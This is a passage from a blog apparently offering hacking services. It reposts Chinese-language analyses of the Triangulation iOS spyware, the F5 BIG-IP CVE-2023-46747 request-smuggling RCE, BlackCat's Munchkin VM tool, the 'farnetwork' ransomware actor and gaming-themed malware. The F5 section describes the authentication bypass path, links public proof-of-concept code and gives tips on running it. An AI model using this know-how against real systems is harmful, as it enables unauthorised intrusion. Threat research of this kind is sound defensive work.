Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108933

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

APT_Apple_SL_Feat-1200x600.jpg

在之前關於Triangulation的介紹文章中，研究人員討論了TriangleDB的細節，這是這次活動中使用的主要植入程序，使它的C2協議和它可以接收命令。除其他事項外，它還能夠執行其他模塊。另外，這次活動是相當隱蔽的。

本文詳細介紹了該活動是如何進行隱蔽攻擊的。在此過程中，研究人員還將揭示有關此攻擊中使用組件的更多信息。

驗證組件在之前的文章中，研究人員概述了Triangulation活動攻擊鏈：設備接收惡意iMessage附件，啟動一系列漏洞利用，其執行最終導致啟動TriangleDB植入。攻擊鏈可以用下圖來概括:

1.png

除了TriangleDB植入的漏洞和組件外，攻擊鏈還包含兩個“驗證器”階段，即“JavaScript驗證器”和“二進制驗證器”。這些驗證器收集有關受害設備的各種信息，並將其發送到C2服務器。然後，這些信息被用來評估植入TriangleDB的iPhone或iPad是否可以作為研究設備。通過執行這樣的檢查，攻擊者可以確保他們的零日漏洞和植入程序不會被阻止。

JavaScript驗證器在攻擊鏈的開始，受害者會收到帶有零點擊漏洞的不可見iMessage附件。此漏洞的最終目標是在backupabbit[.]com域上默默地打開一個唯一的URL。該URL上託管的HTML頁麵包含NaCl密碼庫的模糊JavaScript代碼，以及加密的有效負載。這個負載是JavaScript驗證器。該驗證程序執行許多不同的檢查，包括不同的算術運算，如Math.log（-1）或Math.sqrt（-1），Media Source API、WebAssembly等組件的可用性。

如上所述，它通過使用WebGL在粉色背景上繪製一個黃色triangle併計算其校驗和來執行一種名為Canvas Fingerprint的指紋技術：

2.png

繪製triangle的代碼

3.png

繪製的triangle

事實上，正是這個triangle，研究人員把整個活動稱為Triangulation活動。

運行驗證器後，它會對所有收集到的信息進行加密，並將其發送到backuplabbit[.]com上的另一個唯一URL，以便接收攻擊鏈的下一階段。

二進制驗證器正如從攻擊鏈圖中看到的，這個驗證器在部署TriangleDB植入程序之前啟動。 JavaScript驗證器是一個腳本，與之相反，這個驗證器是一個Mach-O二進製文件(因此得名binary Validator)。啟動時，它使用AES解密其配置。這個配置是一個plist:

4.png

此列表包含必須由驗證器執行的操作列表(如DeleteLogs、DeleteArtifacts等)。具體地說：

1.從/private/var/mobile/Library/logs /CrashReporter目錄中刪除可能在利用過程中創建的崩潰日誌；

2.在各種數據庫(如ids-pub-id.db或knowledgeec .db)中搜索惡意iMessage附件的痕跡，然後刪除它們。為了能夠做到這一點，驗證器的配置包含40個用於發送惡意imessage的Apple id的MD5哈希值。研究人員成功破解了大部分哈希值，從而獲得了攻擊者控制的蘋果ID電子郵件地址列表:

5.png

3.獲取在設備上運行的進程列表以及網絡接口列表；

4.檢查目標設備是否已越獄。驗證器實現了對各種越獄工具的檢查，如Pangu、xCon、Evasion7、Electra、unc0ver、checkra1n等；

5.打開個性化廣告跟踪；

6.收集有關受害者的廣泛信息，如用戶名，電話號碼，IMEI和蘋果ID；

7.檢索已安裝應用程序的列表。

有趣的是，驗證器在iOS和macOS系統上都實現了這些操作:

6.png

研究人員還發現，驗證器實現了一個未使用的操作，攻擊者將其稱為PSPDetect。

7.png

這個操作從驗證器的配置中檢索一個文件列表(對於研究人員分析的驗證器配置，這個列表是空的)，檢查它們是否存在於文件系統中，並產生一個找到的文件列表作為輸出。

此操作名稱中的縮寫PSP可能意味著“個人安全產品（personal security product）”，或者更簡單地說，是一種安全解決方案。因此，有可能在macOS設備上啟動此操作，以檢測已安裝的殺毒軟件。

執行完所有這些操作後，驗證器加密並將獲得的數據(進程列表、用戶信息等)發送到C2服務器。作為響應，服務器返回研究人員之前描述過的TriangleDB植入。

在日誌中找到線索“Triangulation活動”背後的攻擊者不僅通過在攻擊鏈中引入兩個驗證者來進行隱形操作。事實上，他們對TriangleDB植入程序的所有操作都非常小心。這可以從研究人員對攻擊者通過該植入程序向受攻擊設備發送的命令的分析中觀察到。

在植入與C2服務器建立通信並發送指令之後，它從C2服務器接收多個CRXShowTables和CRXFetchRecord命令。這些命令與可能顯示攻擊鍊和惡意軟件本身痕蹟的日誌檢索有關。檢索到的一些文件有：

1.崩潰日誌（Crash log）文件(例如/var/mobile/Library/Logs/CrashReporter)；

2.數據庫文件(例如/private/var/mobile/Library/IdentityServices/ids-gossip.db)。這些數據庫文件可能包含攻擊者用來發送惡意iMessage的Apple ID。

一旦攻擊者收到這些文件，他們就會把它們從設備上刪除，這樣受害者就無法檢查它們，也無法發現潛在的攻擊跡象。在完成日誌收集和刪除後，攻擊者向植入程序發送多個CRXPollRecords命令，指示它定期從/private/var/tmp目錄中洩漏文件。上傳到C2服務器的文件的名稱應符合下列正則表達式:

8.png

具有這些名稱的文件包含由模塊產生的執行結果。這些模塊通過CRXUpdateRecord和CRXRunRecord命令上傳到受攻擊的設備。

麥克風錄音最侵犯隱私的模塊之一是麥克風錄製模塊，其名稱為“msu3h”，研究人員認為3h代表三小時，默認錄製時間。在執行時，它會解密(使用源自GTA IV哈希的自定義算法)其配置，但只有當電池電量超過10%時，它才會執行進一步的操作。

配置文件本身包含典型的配置數據，例如記錄多長時間和用於加密記錄的AES加密密鑰，但也包含更具攻擊性的參數，例如:

1.suspendOnDeviceInUse:設置當設備屏幕打開時是否應該停止錄製；

2.syslogRelayOverride:設置捕獲系統日誌時是否錄製音頻。

錄音使用Audio Queue API，聲音塊使用Speex編解碼器進行壓縮，然後使用AES進行加密。除了聲音數據，每個錄音都包含診斷信息，它有一個四字節的類型標識符，可以是:

9.png

鑰匙串洩露由於未知的原因，攻擊者決定添加一個額外的鑰匙串洩露模塊，儘管這樣的功能已經存在於TriangleDB中。這個鑰匙串模塊與TriangleDB中的邏輯相同，但主要基於iphone-dataprotection.keychainviewer項目中的代碼。鑰匙串（英文：Keychain）是蘋果公司Mac OS中的密碼管理系統。它在MacOS 8.6中被導入，並且包括在了所有後續的Mac OS版本中，包括Mac OS X。一個鑰匙串可以包含多種類型的數據：密碼（包括網站，FTP服務器，SSH帳戶，網絡共享，無線網絡，群組軟件，加密磁盤鏡像等），私鑰，電子證書和加密筆記等。

SQLite竊取模塊iOS上的許多應用使用SQLite來存儲它們的內部數據。因此，攻擊者實現能夠從各種SQLite數據庫竊取數據的模塊也就不足為奇了。所有這些模塊都具有相同的代碼庫，並且包含要執行的不同SQL查詢。同樣，它們的配置是加密的。當它被解密時，只能找到標準變量，如文件路徑，AES密鑰，查詢字符串等。

這些模塊的代碼相當奇特，例如，攻擊者在fopen()函數周圍實現了一個包裝器，添加了Z標誌(表明創建的文件應該經過aes加密和zlib壓縮)，並與標準w(寫)標誌結合使用，如下圖所示：

10.png

同樣有趣的是，SQLite竊取模塊包含針對不同iOS版本的三個代碼版本：低於8.0、介於8.0和9.0之間、9.0及更高版本。

研究人員找到的每個模塊執行不同的SQL數據庫查詢。例如，有一個模塊處理來自knowledgeec .db數據庫的應用程序使用數據。另一個模塊提取與照片相關的元數據，例如照片中是否有孩子，該人是男是女(見下圖)，以及從媒體文件中自動生成的文本。

11.png

攻擊者對WhatsApp、SMS和Telegram的信息也表現出了興趣，這也不足為奇，因為研究人員也發現了竊取這些數據的模塊。

位置監控模塊這個模塊在一個單獨的線程中運行，並試圖模擬被授權使用配置中指定的位置服務的bundle(例如/System/Library/LocationBundles/Routine.bundle)。除了使用GPS確定位置外，它還使用GSM，通過CoreTelephony框架檢索MCC (MobileCountryCode)， MNC (MobileNetworkCode)， LAC (LocationAreaCode)和CID (CellID)值。

使用gsm相關數據的一個原因是在沒有GPS數據的情況下估計受害者的位置。

12.png

結論Triangulation活動背後的攻擊者非常小心地避免被發現。他們在攻擊鏈中引入了兩個驗證器，以確保漏洞和植入程序不會被傳遞給安全研究人員。此外，麥克風錄音可以調整為在屏幕被使用時停止。位置跟踪器模塊可能不使用標準的GPS功能，如果這是不可用的，而是使用來自GSM網絡的元數據。

攻擊者還表現出對iOS內部的深刻理解，因為他們在攻擊過程中使用了未記錄的私有api。它們還在一些模塊中實現了對8.0之前iOS版本的支持。回想一下，這些模塊在2015年之前被廣泛使用，這表明這些模塊的代碼已經被使用了多長時間。

另外，這次攻擊中使用的一些組件包含的代碼可能表明它們也針對macOS系統，儘管截至發布日期，在macOS設備上沒有遇到Triangulation活動痕跡。

儘管Triangulation活動是在高度隱蔽的情況下執行的，但研究人員仍然能夠提取出完整的攻擊鏈，以及植入程序和插件。如果你想知道研究人員是如何設法繞過攻擊者引入的所有保護措施的，請點擊此文。

HireHackking

0x01 前言F5 BIG-IP廣域流量管理器是一種網絡流量管理設備，用於提升鏈路性能與可用性。 F5在金融行業具有特別廣泛的使用量，做過各大銀行攻防演練的小伙伴對這個系統應該不會陌生。

最近爆出的CVE-2023-46747漏洞能達到遠程RCE的效果，屬於嚴重級別的安全漏洞。有意思的是這個漏洞和“AJP請求走私”有關。本文將對請求走私漏洞和CVE-2023-46747做一個詳細介紹和分析。

0x02 AJP請求走私介紹較早出現的AJP請求走私漏洞是CVE-2022-26377，關於該漏洞的詳細信息已經有作者進行過分析，感興趣的讀者可以查看原文https://www.ctfiot.com/44809.html，這裡我們關注的是AJP請求走私漏洞的危害。

AJP請求走私漏洞影響Apache Httpd 2.4.54，注意這裡直接受影響的並不是tomcat，所以並不是所有的java網站都受請求走私漏洞的影響，而是只有啟用了httpd服務的網站才受此漏洞影響，類似於現在前後端分離中nginx服務的作用。在F5 BIG-IP中啟動的WEB服務的架構如圖2.1所示，並且在F5-BIG-IP中的httpd版本2.2.15，受CVE-2022-26377漏洞影響。

8.png

圖2.1 F5 BIG-IP中的WEB服務架構

9.png

圖2.2 F5 BIG-IP中的httpd版本

AJP請求走私漏洞並不是一個高危漏洞，在各個CVSS評分在6.5-7.5之間，所以一直沒有受到我的關注，只是覺得這是一個僅供研究沒有實際意義的理論漏洞。在這次F5 BIG-IP的RCE漏洞爆出之後，我才重新對這個漏洞進行研究。關於此漏洞的詳細理論可以參考上面的文章，這裡主要總結下面的幾個關鍵點：

1） 瀏覽器並不能直接發送AJP協議的數據包，需要依賴於Apache的proxy_ajp 模塊進行反向代理，暴露成HTTP 協議給客戶端訪問。

2） AJP協議對於POST類型的HTTP請求會分成header 和body 兩個數據包發送，由於處理body數據時，其中前面四位固定格式與Forward Request 數據包完全一樣，導致本來應該是一個數據包body部分的數據，可能在進行AJP轉發時被識別為另一個數據包。這也是AJP請求走私的本質原理和危害，如圖2.3所示。

3） AJP請求走私時需要使用Transfer-Encoding: a, chunked 進行分塊傳輸。

10.png

圖2.3 AJP請求走私流程

從圖2.3可以看出，整個AJP請求走私的流程是可以把一個HTTP請求經過AJP代理轉化之後轉化為兩個AJP請求，這也是請求走私名字的來源。

0x03 CVE-2023-46747漏洞分析經過0x02的分析已經對AJP請求走私有了初步的了解，但是實際上還是很難看出這樣的漏洞能導致RCE效果。

從官方對這個漏洞的描述中可以看出，此漏洞僅影響開放了TNUI接口的系統（F5 BIG-IP默認啟用），這是因為在/config/httpd/conf.d/proxy_ajp.conf文件中定義了AJP代理的配置，其中只會對tmui相關接口進行代理，如圖3.1所示。

11.png

圖3.1 TMUI接口中的AJP代理配置

如圖2.1所示，httpd服務監聽的IP是0.0.0.0，所以是可以被外網用戶直接訪問到的，httpd提供反向代理的功能，把請求轉發到tomcat java監聽的80端口。最初看到這個漏洞的時候，我一直在java代碼中尋找鑑權的邏輯，以圖找到通過AJP請求走私繞過鑑權的方式，但是找了很久都沒有找到，甚至我在F5的JAVA代碼中沒有找到任何的Filter。後來在翻閱F5的歷史漏洞分析文章中才看到原來F5的鑑權並不在JAVA代碼中，而是在httpd模塊中。

F5實現了自己的pam進行認證，模塊路徑為/usr/lib/httpd/modules/，其中，涉及到login.jsp授權的是mod_f5_auth_cookie.so文件。反彙編之後，大概是這樣的。我們能夠請求/tmui/login.jsp而不需要進行身份驗證。

12.png

圖3.2 訪問/tmui/login.jsp不需要授權

如果直接訪問其他jsp文件，在沒有通過身份驗證的情況下，會被重定向到/tmui/login.jsp

13.png

圖3.3訪問其它頁面需要授權

這也就說明在CVE-2023-46747漏洞的POC利用腳本中通過訪問/tmui/login.jsp（這個頁面是不需要授權，又可以進行AJP請求轉化的頁面），在body中添加AJP請求走私的內容，就可以達到繞過鑑權的效果。

poc地址：

https://www.ddpoc.com/poc/DVB-2023-5391.html

在使用的時候注意，部分BurpSuite會去掉Transfer-Encoding頭，自動從分塊傳輸轉化為普通傳輸導致檢測失敗，所以在使用的過程中盡量不要使用Burp代理，如果非要抓包可以使用Charles，如圖3.4所示。

14.png

圖3.4 使用Burp代碼導致檢測失敗

去掉Burp代理之後，在Charles中可以看到正常的Chunked請求體和請求頭，並且運行成功之後可以執行命令，如圖3.5所示。

15.png

圖3.5 通過POC可以正常繞過權限添加用戶並執行命令

關於繞過權限之後F5 BIG-IP執行命令的邏輯在F5歷史漏洞CVE-2022-1388中已經使用過，其實F5 BIG-IP本身就提供了接口/mgmt/tm/util/bash為後台用戶執行系統命令的，有興趣的讀者也可以看https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg了解詳細的創建用戶和後台命令執行的邏輯。

0x4 結論CVE-2023-46747算是請求走私漏洞的典型應用場景，把一個中低危的漏洞放在特定的場景中放大危害造成RCE效果，整個利用過程就像是為AJP請求走私量身定制一樣。

首先，F5 BIG-IP使用httpd來轉發前端用戶請求，並且對特定接口/tmui/*開啟AJP請求轉發功能。

其次，F5 BIG-IP的用戶鑑權邏輯在httpd的so文件中實現，而不是在java代碼中是實現。甚至在後端的java代碼中沒有任何鑑權邏輯，導致只要請求轉發到後端java代碼則可以訪問到。通過AJP請求走私可以把一個隱私的添加用戶的請求隱藏在未授權接口/tmui/login.jsp請求中，導致繞過了F5鑑權的邏輯把添加用戶的請求轉發到後端java代碼。

最後，添加的用戶在後台可以直接命令執行導致RCE效果。

參考：https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg

https://github.com/W01fh4cker/CVE-2023-46747-RCE

https://www.ctfiot.com/44809.html

https://blog.csdn.net/weixin_39541693/article/details/111112257

HireHackking

Ransomware-r3d2.png

BlackCat運營商最近宣布對他們的工具進行更新，包括一個名為Munchkin的實用程序，它允許攻擊者將BlackCat有效負載傳播到遠程設備和受害者組織網絡上的共享。在過去的兩年中，作為勒索軟件即服務(RaaS)商業模式的一部分，BlackCat勒索軟件運營商一直在不斷發展和更新他們的工具。

在最新發現的樣本中，Unit 42的研究人員獲得了一個獨特的Munchkin樣本，因為它加載在自定義的Alpine虛擬機(VM)中。這種利用自定義虛擬機來部署惡意軟件的新策略在最近幾個月得到了越來越多的應用，允許勒索軟件攻擊者使用虛擬機來繞過部署惡意軟件有效負載的安全解決方案。

本文詳細介紹了這個新實用程序的攻擊進程，並進一步闡明了BlackCat攻擊者使用的持續策略。

BlackCat概述BlackCat勒索軟件於2021年11月首次被曝光。這種攻擊因其惡意軟件的複雜性以及使用Rust編程語言等獨特方法而臭名昭著。

與其他勒索軟件類似，BlackCat採用了RaaS商業模式，這種模式允許其他機構有償利用他們的工具，使用機構會獲得大約80-90%的贖金，其餘的則交給運營商。

“BlackCat”組織及其使用機構歷來把目標鎖定在美國境內。然而，隨著時間的推移以及受歡迎程度，攻擊範圍正在逐漸擴大，最近，人們發現BlackCat的目標是全球眾多行業及其垂直行業的受害者。

BlackCat工具集多年來一直在不斷發展。

原始版本僅提供了一個嵌入式JSON配置，並沒有應用混淆或加密。

隨著時間的推移，操作人員更新了惡意軟件家族，以混淆這種底層配置。他們還需要一個唯一的命令行參數來執行惡意軟件。在此過程中，BlackCat阻止了安全人員在此命令行參數不可用的情況下獲得底層有效進行研究。

惡意軟件家族一直在不斷發展，攻擊者採用了更多的功能和混淆機制。最近幾個月，BlackCat發布了一個名為“Munchkin”的新工具。

該工具提供了運行Sphynx(最新的BlackCat變體)的基於linux的操作系統。攻擊者可以使用此實用程序在遠程設備上運行BlackCat，或將其部署到加密遠程服務器消息塊(SMB)或通用互聯網文件共享(CIFS)。

1.png

Munchkin進程示意圖

在實際運行中，使用虛擬機運行惡意軟件是一種日益增長的趨勢。據報導，其他勒索軟件組織也利用了這種新策略。

這種方法的好處包括繞過主機操作系統上設置的任何安全控製或保護，例如防病毒軟件。由於這些解決方案通常在嵌入式虛擬化操作系統中沒有自省功能，惡意軟件將經常繞過現有的任何檢查。

在最近的調查中，Unit 42的研究人員能夠獲得這個VM實用程序的副本。因此，我們可以深入了解它是如何工作的。

攻擊過程Munchkin實用程序以ISO文件的形式提供，在VirtualBox虛擬化產品的新安裝樣本中加載。這個ISO文件代表了Alpine操作系統的自定義實現，攻擊者可能會選擇它，因為它佔用空間小。操作系統啟動後，會執行如下命令:

2.png

在此過程中，惡意軟件最初將虛擬機的根密碼更改為攻擊者選擇的密碼。它隨後通過內置的tmux實用程序生成一個新的終端會話，該實用程序用於執行名為controller的惡意軟件二進製文件。惡意軟件完成執行後，會關閉虛擬機。

控制器惡意軟件與其他相關文件一起託管在/app目錄中。此外，虛擬機操作系統中還包含其他相關且值得注意的文件。

3.1.png

3.2.png

虛擬機操作系統中包含的文件路徑及有關描述

除了上面提到的文件，大量的Python腳本直接存在於/usr/bin中，BlackCat操作符可以在VM的後續更新中使用這些腳本。

4.1.png

4.2.png

4.3.png

4.4.png

4.5.png

4.6.png

攻擊者可以使用上面的許多Python腳本進行橫向移動、密碼轉儲和在受害者網絡上進一步執行惡意軟件。

控制器惡意軟件是用Rust編程語言編寫的，其方式與BlackCat惡意軟件家族非常相似。在執行時，控制器最初將使用唯一的單字節異或操作解密大量字符串。

5.png

運行時的字符串解密

在字符串被解密後，攻擊者將執行基本檢查，以確保預期的配置和有效負載文件駐留在/app目錄中。然後，該攻擊將反序列化並解析/app/config文件，如果這些文件不存在，或者如果它們無法被解析，惡意軟件將自行退出並顯示一條錯誤消息。

/app/config文件包含大量信息，包括控制器惡意軟件樣本隨後使用的以下信息：

訪問令牌；

任務標識符；

受害者憑據（包括用戶名、密碼和域）；

BlackCat受害者URL；

阻止列表的文件類型和路徑；

要加密的目標主機和共享；

解析配置後，控制器創建並掛載/payloads/目錄，用於託管隨後創建的BlackCat樣本。控制器使用前面提到的/app/payload作為模板來創建自定義的BlackCat樣本。在模板文件中，控制器在修改該文件時查找並使用特定的標記。

6.png

基於模板和配置創建新的BlackCat示例

所創建的文件基於所提供的配置。但是，它們的命名如下，並帶有增量值:

/payloads/0

/payloads/1創建這些有效負載後，惡意軟件繼續遍歷所提供的配置，目的是感染指定的任何SMB/CIFS驅動器。這些嘗試在寫入STDOUT的各種輸出中進行了概述，其示例如下所示。

注：實際的IP地址和共享名稱已在下面的輸出中進行了編輯。

7.png

惡意軟件完全執行後，虛擬機將關閉電源，不再執行進一步的操作。

研究人員發現以下消息嵌入到惡意軟件樣本中，但未使用，它可能在開發的某個階段被包括在內，但後來又被取消。

8.png

這條消息似乎是BlackCat的開發者給他們的使用組織的一條消息，敦促他們從不安全的環境中刪除這個文件。看來使用組織並沒有聽從這一建議。

總結惡意軟件的開發者，特別是那些背後的BlackCat勒索軟件使用者，繼續更新和發展他們的技術和戰術，這一點在他們最近發布的“Munchkin”中得到了充分體現。

惡意工具利用虛擬機來阻止主機上存在的安全管理功能，並反檢測方面領先於安全防護。

HireHackking

Nokoyawa勒索軟件即服務（RaaS）的運營商是一夥被稱為“farnetwork”的威脅組織，多年來通過幫助JSWORM、Nefilim、Karma和Nemty等勒索軟件團伙開發惡意軟件和管理運營積累了經驗。

網絡安全公司Group-IB近日的一份報告深入剖析了farnetwork的活動，以及闡述他們是如何逐漸成為勒索軟件行當中異常活躍的玩家。

farnetwork向威脅情報分析師們披露了細節，這些細節可以將他們與2019年開始的多起勒索軟件活動和一個可以訪問多個企業網絡的殭屍網絡聯繫起來。

據Group-IB向IT安全外媒體出示的報告顯示，這夥威脅組織擁有多個用戶名（比如farnetworkl、jingo、jsworm、razvrat、piparkuka和farnetworkitand），並活躍於多個俄語黑客論壇，試圖招募加盟團伙從事各種勒索軟件活動。

1.png

圖1. 威脅分子情況簡介（圖片來源：Group-IB）

今年3月，farnetwork開始為其基於Nokoyawa加密惡意軟件的勒索軟件即服務項目尋找加盟團伙。然而，Group-IB的威脅情報分析師表示，這夥威脅組織明確表示，他們沒有參與開發Nokoyawa的工作。

開展RaaS業務並沒有持續多久，farnetwork宣布將退出該領域，並在10月份關閉了Nokoyawa RaaS項目，此前該項目洩露了35名受害者的數據。

2.png

圖2. Nokoyawa公佈受害者（圖片來源：Group-B）

然而Group-IB認為，這夥威脅組織的策略是改變方向，以一個新的品牌重新開始，而這個舉動正是其中的一部分。

攻擊活動管理方在Nokoyawa勒索軟件中，farnetwork扮演了項目負責人、加盟團伙招聘者、暗網論壇上RaaS的推廣者和殭屍網絡管理方等多重角色。

該殭屍網絡使加盟團伙能夠直接訪問已經受到攻擊的網絡。為此，加盟團伙將向殭屍網絡的所有者支付所收取贖金的20%，而勒索軟件的所有者將獲得15%的分成。

考慮到其他項目支付高達85%的贖金作為分成，對勒索軟件加盟團伙來說，65%的分成是糟糕的交易，但成本已涵蓋了找到一個合適的目標並闖入其中所耗費的精力。

farnetwork測試加盟團伙候選對象的辦法是，向它們提供從地下日誌雲（UCL）服務獲得的幾個公司賬戶憑據，UCL服務出售由RedLine、Vidar和Raccoon等信息竊取惡意軟件竊取的日誌。

預計這些加盟團伙會升級其在網絡上的權限，竊取文件，運行加密程序，並要求支付贖金。

3.png

圖3. 網絡訪問憑據面板（圖片來源：Group-IB）

以往活動時間表Group-IB已經能夠追踪到farnetwork早在2019年1月的活動，發現了它與JSWORM、Nemty、Nefilim和Karma等勒索軟件團伙有關聯。

2019年4月，farnetwork在Exploit黑客論壇上大肆推廣JSWORM RaaS項目，這夥威脅組織對RazvRAT惡意軟件大打廣告。

4.png

圖4. 推銷RazvRAT惡意軟件（圖片來源：Group-IB）

2019年8月，在JSWORM關閉後，這夥威脅組織轉而在至少兩個地下論壇上推廣Nemty。

2020年3月，Nefilim勒索軟件浮出水面，這時它作為一個新的加盟項目示人，擁有名為Corporate Leaks的數據洩露網站。次月，farnetwork宣布Nemty將私有化。

5.png

圖5. Nefilim公佈受害者名單（圖片來源：Group-B）

2021年6月，改頭換面的Nefilim（名叫Karma）出現在世人面前，2021年7月Nefilim又悄無聲息。在此期間，farnetwork在尋找有關思傑VPN零日漏洞的信息。

2023年2月，farnetwork轉向RAMP論壇，聲稱他們與Nokoyawa勒索軟件合作，充當對方的招聘者和訪問管理方。

6.png

圖6. 在RAMP上推廣RaaS（圖片來源：Group-IB）

從Group-IB的研究結果來看，farnetwork被懷疑參與了開發上述幾種勒索軟件的工作，或至少參與了這幾種勒索軟件的改進和管理。它與Nefilim和Karma的關係最緊密，它們都被認為是Nemty的進化版。

7.png

圖7. farnetwork活動時間表(Group-IB)

Group-IB將不同的用戶名與這同一夥威脅組織聯繫了起來，他們換個新名字，繼續重操舊業。

建議雖然勒索軟件團伙以攻擊關鍵行業的公司而臭名昭著，但它們對所有行業的組織都構成了威脅。除了其網絡增加新成員外，farnetwork的勒索軟件聯盟計劃還為成員提供了經過升級的工具和技術，甚至提供勒索軟件投放機制。企業必須立即採取具體的步驟，以確保關鍵任務操作和數據的安全。我們的建議如下：

•增加更多層安全：多因素身份驗證（MFA）和基於憑據的訪問解決方案可以幫助企業保護其關鍵資產和高風險用戶，使攻擊者更難得逞。

•通過早期檢測阻止勒索軟件：充分利用端點檢測和響應（EDR）解決方案的行為檢測功能，幫助識別跨管理端點上的勒索軟件指標，及時提醒團隊注意任何可疑活動，以便進一步審查。這種主動的方法有助於對端點上已知和未知的威脅進行靈活地檢測、調查和補救。

•有“備份”策略：數據備份過程應該定期進行，因為它們可以減少破壞，並幫助組織在遭到勒索軟件攻擊後避免數據丟失。

•利用先進的惡意軟件引爆解決方案：組織應該充分利用結合人工智能的先進的基於分析的解決方案來實時檢測入侵。

•修補漏洞：漏洞未修補的時間越長，被網絡犯罪分子利用的風險就越大，因此，應該優先考慮安全補丁。組織還應該建立一個流程，定期審查和部署最新的補丁。

•培訓員工：教育員工，了解與組織的網絡、資產、設備和基礎設施相關的風險。人為因素仍然是網絡安全的最大漏洞之一。組織應開展培訓計劃和安全演習，以幫助員工識別和報告網絡犯罪的跡象（比如網絡釣魚電子郵件）。

•控制漏洞：不要對新出現的漏洞視而不見。每年進行一次技術審計或安全評估，以檢查你的基礎設施，這不僅是好習慣，還增加了亟需的保護層，持續監測基礎設施的完整性和數字衛生流程。

•永遠不要支付贖金：在97%的勒索軟件攻擊中，如果不解密軟件，就不可能重新獲得數據訪問權。 Group-IB的事件響應專家不建議急於支付贖金。

以牟利為動機的威脅組織會讓你支付更多錢。即使一個攻擊者返還了你的數據，另一個攻擊者也會明白你願意支付贖金，這將導致對公司的攻擊次數增加，此時你能做的最正確的事情就是盡快聯繫事件響應專家。

HireHackking

sl-neon-gamepads-red-1200x600.jpg

隨著收益和玩家數量（超過30億）的增加，遊戲行業也成為攻擊者的目標，尤其是玩家們期待已久的熱門遊戲經常被用作惡意活動的誘餌。截至2022年，近四分之一的玩家是未成年人，他們更容易成為攻擊者的獵物。

分析方法為了深入了解當前與遊戲相關的網絡安全風險，卡巴斯基對針對遊戲社區的普遍威脅進行了全方位研究。從偽裝成遊戲應用、mod和作弊的威脅到對該領域最活躍的惡意軟件家族的功能分析。他們還分析了使用各種遊戲名稱和遊戲平台作為誘餌的網絡釣魚頁面。

本文的分析利用了來自卡巴斯基安全網絡(KSN)的數據，這是一個處理卡巴斯基用戶自願分享的匿名網絡威脅相關數據的系統。分析時間段從2022年7月1日到2023年7月1日。

研究人員除了選擇在流媒體平台(如Origin和Steam)上下載或準備發布的排名前14款遊戲，還分析了與平台無關的遊戲進行研究。

遊戲列表是基於互聯網上最受歡迎遊戲的幾個排名。他們重點分析了手機版和桌面版《我的世界》 《Roblox》 《反恐精英:全球进攻》 (CS:GO)、《绝地求生》 (PUBG)，《霍格沃茨遗产》 《远古防御2》 (DOTA 2)，《英雄联盟》 《魔兽世界》 《Apex传奇》 《暗黑破坏神4》 《星球大战绝地求生》 《塞尔达传说》 《博德之门3》 和《最终幻想XVI》 相關的威脅。

威脅分析在過去的一年裡（2022年7月1日至2023年7月1日），卡巴斯基總共檢測到4076530次與遊戲相關的桌面感染，影響著全球192456名玩家。

最常見的威脅是下載程序(89.70%)，其次是廣告軟件(5.25%)和特洛伊木馬(2.39%)。

作為誘餌，使用最多的遊戲是《我的世界》 ，佔70.29%，其次是《Roblox》 (20.37%)、《反恐精英:全球攻势》 (4.78%)和《PlayerUnknown’s Battlegrounds》 (2.85%)。

卡巴斯基的移動解決方案檢測到436786次與遊戲相關的感染嘗試，影響了84539名用戶。

《我的世界》 用戶(90.37%)是手機惡意軟件的最大目標，其次是PlayerUnknown的《绝地求生》 (5.09%)、《Roblox》 (3.33%)和《Baldur’s Gate》 (0.68%)。

電腦版統計方面，《我的世界》 仍然是最受攻擊者歡迎的目標。從2022年7月1日到2023年7月1日，卡巴斯基解決方案檢測到4076530次下載嘗試，共涉及30684個獨特文件，這些文件以流行遊戲或mod，作弊和其他遊戲相關軟件的名義傳播，影響了全球192456名用戶。這些文件大多是被稱為“下載器”的無用軟件(89.70%)。這類軟件本身並不危險，但它會將包括惡意軟件在內的各種其他程序下載到設備上。廣告軟件(5.25%)和木馬(2.39%)也位列桌面遊戲相關威脅的前三名。

1.png

2022年7月1日至2023年7月1日，全球十大流行遊戲威脅

在選取的14款遊戲中，《我的世界》 (70.29%)仍然是最受攻擊者歡迎的遊戲。這款沙盒遊戲在2023年擁有超過1.6億的月活躍玩家，並且仍然是世界上玩得最多的電腦遊戲之一。過去一年，利用這款遊戲作為誘餌的威脅影響著全球130619名用戶。

在30367名用戶的電腦上，惡意軟件和不受歡迎的軟件在文件名中提到Roblox(第二大目標遊戲)，引發了20.37%的警報，其次是反恐精英:全球攻勢(4.78%)、絕地求生(2.85%)、霍格沃茨遺產(0.60%)、DOTA 2(0.45%)和英雄聯盟(0.31%)。

2.png

2022年7月1日至2023年7月1日，按相關威脅檢測數量排名的遊戲

3.png

從2022年7月1日到2023年7月1日，受相關威脅影響的用戶數量

4.png

2022年7月1日至2023年7月1日期間，按被作為誘餌來排名的遊戲

與手機遊戲相關的威脅自疫情以來，在智能手機和平板電腦等移動設備上玩視頻遊戲的移動遊戲用戶數量激增，尤其是在美國和亞太地區。根據Statista的數據，到2027年，手機遊戲玩家的數量將達到23億。

雖然有些遊戲的手機版本在發布後不久甚至在開發階段就被關閉了，但不時會出現號稱是手機改編的版本遊戲，攻擊者正是利用遊戲玩家迫切想要玩的心理進行誘餌攻擊。

從2022年7月1日到2023年7月1日，卡巴斯基解決方案檢測到436786次試圖感染84539名用戶的移動設備。大多數被調查的遊戲至少有一次被用作手機玩家的誘餌。

5.png

從2022年7月1日到2023年7月1日，具有威脅的遊戲排名

《我的世界》 用戶再次成為主要攻擊目標，90.37%的攻擊與這款遊戲有關，這些攻擊影響了80128名玩家。

比如，印度尼西亞的手機遊戲玩家成為攻擊者的目標，他們使用《我的世界》 作為Trojan.AndroidOS.Pootel.a的網關，當應用程序在用戶手機上啟動時，會在另一個應用市集(Application Marketplace)中打開《我的世界》 頁面。

